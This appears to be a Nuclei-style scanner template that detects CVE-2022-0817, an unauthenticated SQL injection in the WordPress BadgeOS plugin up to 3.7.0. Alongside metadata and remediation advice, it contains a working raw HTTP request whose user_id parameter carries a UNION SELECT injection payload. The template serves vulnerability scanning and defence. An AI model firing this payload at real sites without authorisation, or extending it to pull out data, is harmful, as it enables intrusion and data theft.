WordPress BadgeOS <=3.7.0 - SQL Injection

id: CVE-2022-0817

info:
  name: WordPress BadgeOS <=3.7.0 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress BadgeOS plugin through 3.7.0  contains a SQL injection vulnerability. It does not sanitize and escape a parameter before using it in a SQL statement via an AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
  remediation: |
    Update to the latest version of the BadgeOS plugin (>=3.7.1) to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/69263610-f454-4f27-80af-be523d25659e
    - https://wordpress.org/plugins/badgeos/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0817
    - https://github.com/20142995/sectool
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0817
    cwe-id: CWE-89
    epss-score: 0.04032
    epss-percentile: 0.92073
    cpe: cpe:2.3:a:badgeos:badgeos:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: badgeos
    product: badgeos
    framework: wordpress
  tags: cve,cve2022,wp,unauth,sqli,wp-plugin,badgeos,wpscan,wordpress
variables:
  num: "999999999"

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=get-achievements&total_only=true&user_id=11 UNION ALL SELECT NULL,CONCAT(1,md5({{num}}),1),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - "contains(body, md5(num))"
          - 'contains(content_type, "application/json")'
          - 'contains(body, "badgeos-arrange-buttons")'
        condition: and
# digest: 490a0046304402203d2db6c67edc8ede8fe11881f8d7fc0bf4d39da48d81012d66509c26e29891b60220295f9c0f3a87ec6903ee013a498d4178afa1ea2260992d56b162bf4b683f237a:922c64590222798bb761d5b6d8e72950